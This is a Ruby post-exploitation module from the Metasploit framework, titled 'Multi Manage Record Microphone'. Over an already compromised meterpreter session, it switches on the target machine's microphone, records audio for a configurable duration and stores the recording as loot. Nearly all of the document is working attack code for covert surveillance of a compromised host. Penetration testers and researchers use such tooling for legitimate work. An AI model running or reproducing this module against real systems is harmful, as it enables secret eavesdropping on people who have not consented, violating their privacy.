##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Manage Record Microphone',
        'Description' => %q{
          This module will enable and record your target's microphone.
          For non-Windows targets, please use Java meterpreter to be
          able to use this feature.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r'],
        'Platform' => %w[linux osx win],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_webcam_*
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
      ]
    )
  end

  def rhost
    client.sock.peerhost
  end

  def progress
    duration = datastore['DURATION']
    m = duration / 10
    m = 1 if m == 0

    duration.times do |i|
      if i % m == 0
        p = ((Float((i == 0) ? 1 : i + 1) / duration) * 100).round
        print_status("#{rhost} - #{p}%...")
      end
      select(nil, nil, nil, 1)
    end
  end

  def run
    if client.nil?
      print_error("Invalid session ID selected. Make sure the host isn't dead.")
      return
    end

    data = nil

    begin
      t = framework.threads.spawn('prog', false) { progress }
      data = client.webcam.record_mic(datastore['DURATION'])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.message)
      return
    ensure
      t.kill
    end

    if data
      print_status("#{rhost} - Audio size: (#{data.length} bytes)")
      p = store_loot(
        "#{rhost}.audio",
        'application/octet-stream',
        rhost,
        data,
        "#{rhost}_audio.wav",
        "#{rhost} Audio Recording"
      )

      print_good("#{rhost} - Audio recording saved: #{p}")
    end
  end
end
